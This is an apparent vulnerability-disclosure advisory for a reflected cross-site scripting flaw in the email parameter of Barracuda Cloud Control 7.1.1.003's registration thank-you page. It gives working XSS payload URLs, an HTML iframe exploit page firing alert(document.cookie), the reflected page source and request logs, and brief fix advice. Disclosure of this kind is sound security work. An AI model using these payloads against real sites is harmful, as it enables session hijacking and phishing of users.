Barracuda Cloud Control 7.1.1.003 - Cross Site Vulnerability

Document Title:
===============
Barracuda Cloud Control 7.1.1.003 - Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1992


Release Date:
=============
2018-07-17


Vulnerability Laboratory ID (VL-ID):
====================================
1992


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
The Barracuda Control Center is a comprehensive cloud-based service that enables administrators to monitor and configure multiple 
Barracuda Networks products from a single console. With the Barracuda Control Center, you can check the health of all connected 
devices, run reports that are generated by gathering data from all the devices, and assign roles with varied permissions to different
types of users. The powerful Web interface of the Barracuda Control Center provides for convenient configuration and management of 
multiple Barracuda Networks device settings, while also providing a view of each device Web interface for individual configuration 
or reporting. No need to install software or deploy hardware. Key statistics can be viewed by device type at a glance on the Status 
page of the Web interface with the ability to drill down for more detail into the individual Web interface for each connected device.

(Copy of the Vendor Homepage: https://www.barracudanetworks.com/ns/downloads/Setup_Guides/Barracuda_Cloud_Control_SG_US.pdf)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a cross site vulnerability in the official Barracuda Networks Cloud Control 7.1.1.003.


Vulnerability Disclosure Timeline:
==================================
2018-07-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: Cloud Control Center 7.1.1.003


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
No authentication (guest)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure Program


Technical Details & Description:
================================
A client-side cross site scripting vulnerability has been discovered in the official Barracuda Networks Cloud Control v7.1.1.003 appliance web-application.
The cross site vulnerability allows remote attackers to inject own malicious script codes to client-side browser to web-application requests to compromise 
session credentials or client-side web context.

The cross site scripting web vulnerability is located in the `email` parameter of the `./new_user/success/` registration module. Remote attackers with 
knowledge about an exisiting email are able to attach the exisiting email with a payload to the thanks page request. Thus allows the remote attacker to 
trigger a client-side cross site scripting issue within the thank you page of the barracuda cloud control registration mechanism. The request method to 
inject is GET and the attack vector is located on the client-side of the online service web-application.

The security risk of the cross site scripting web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3. 
Exploitation of the client-side cross site web vulnerability requires no privileged web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing, session hijacking, non-persistent external redirect to malicious 
sources and client-side manipulation of affected or connected web module context.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./new_user/success/

Vulnerable Parameter(s):
[+] email


Proof of Concept (PoC):
=======================
The cross site scripting vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Standard: URL
https://cc.localhost:8000/new_user/success/?email=bkm%40evolution-sec.com%20%3E%3Ca%20%3E


PoC: URL
https://cc.localhost:8000/new_user/success/?email=bkm%40evolution-sec.com%20%3E%3Ca%20%3E%20>"<%20<iframe src=./evil.source onload=alert(document.cookie) <


PoC: Exploit
<html>
<head><body>
<title>Barracuda Networks Cloud Control v7.1.1.003 - Remote Cross Site Scripting Vulnerability</title>
<iframe src=https://cc.localhost:8000/new_user/success/?email=bkm%40evolution-sec.com%20%3E%3Ca%20%3E%20>"<%20<iframe src=./evil.source onload=alert(document.cookie) < %00>
<iframe src=https://cc.localhost:8000/new_user/success/?email=bkm%40evolution-sec.com%20%3E%3Ca%20%3E%20>"<%20<iframe src=./evil.source onload=alert(document.domain) < %00>
</head></body>
</html>


PoC: Thank You - Registration Page
<div id="cui-content-inner">
<!-- cui-title: Thank You > Barracuda Networks --><!-- cui-css: /include/css/cloud/new_account_success.css -->
<div class="cui-form-signin-logo"></div>
<table class="cui-form-signin-outer"><tbody><tr>
<td class="cui-form-signin-wrapper">
<div class="cui-form-signin">
<div class="cui-form-signin-bitemark"></div>
<h2 class="cui-page-title">Thank You</h2>	
<div class="cui-page-content" id="" style="top: 43px;">
<div class="cui-page-module page_module">
<div class="create_success">
<h2>Your Barracuda Networks user has been created.</h2>
<p>Please follow the instructions emailed to <b>[email protected] 20%3E%3Ca%20%3E%20>"<%20<iframe src=./evil.source onload=alert(document.domain) < %00></b> 
to log in and create an account.</p>
</div></div></div></div>
</td>
</tr></tbody></table>
<style type="text/css">.create_success {
padding: 15px;
background: url('/cui/images/checkbox.png') center 50px no-repeat;
text-align: center;
}
.create_success h2 {
font-size: 150%;
padding-bottom: 90px;
}
.create_success p {
font-size: 125%;
text-align: center;
}</style></div>


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://cc.localhost:8000/new_user/success/?email=bkm%40evolution-sec.com%20%3E%3Ca%20%3E%20>"<%20<iframe src=./evil.source onload=alert(document.domain) < %00> 
Mime Type[text/html]
Request Header:
      Host[cc.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[backup_session=03d2d8r7cf752jknkc9esfhet5; CLOUD_LOCALE=en_US; BNI_CLOUD_AT=0000000000000000000000001f20800a00005000; 
	_ga=GA1.2.1374742774.1477554133; _gat=1; mfa=0; CLOUD_LAST_LOCALE=en_US; cloud_session=44kti8ik7qdnb57kdfftfehje3]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
Response Header:
      Date[x]
      X-Frame-Options[SAMEORIGIN]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Pragma[no-cache]
      Set-Cookie[CLOUD_LOCALE=en_US; expires=Tue, 25-Apr-2017 07:44:45 GMT; Max-Age=15552000; path=/; domain=.localhost:8000; secure
	cloud_session=44kti8ik7qdnb57kdfftfehje3; path=/; domain=.localhost:8000
	BNI_CLOUD_AT=0000000000000000000000001f20800a00005000; Path=/]
      X-Cloud-Auth[0]
      Vary[Accept-Encoding,User-Agent]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=UTF-8]
      Transfer-Encoding[chunked]


Reference(s):
https://cc.localhost:8000/
https://cc.localhost:8000/new_user/
https://cc.localhost:8000/new_user/success/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a parse of the vulnerable email parameter in the thank you registration page of barracuda networks cc application.
Parse in the vulnerable output location the source to prevent the execution of the client-side injected payloads. Disallow the usage of special chars 
on parameter requests via GET method.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the cloud control web-application is estimated as medium.


Credits & Authors:
==================
Benjamin K.M. (Vulnerability Laboratory Core Research Team) - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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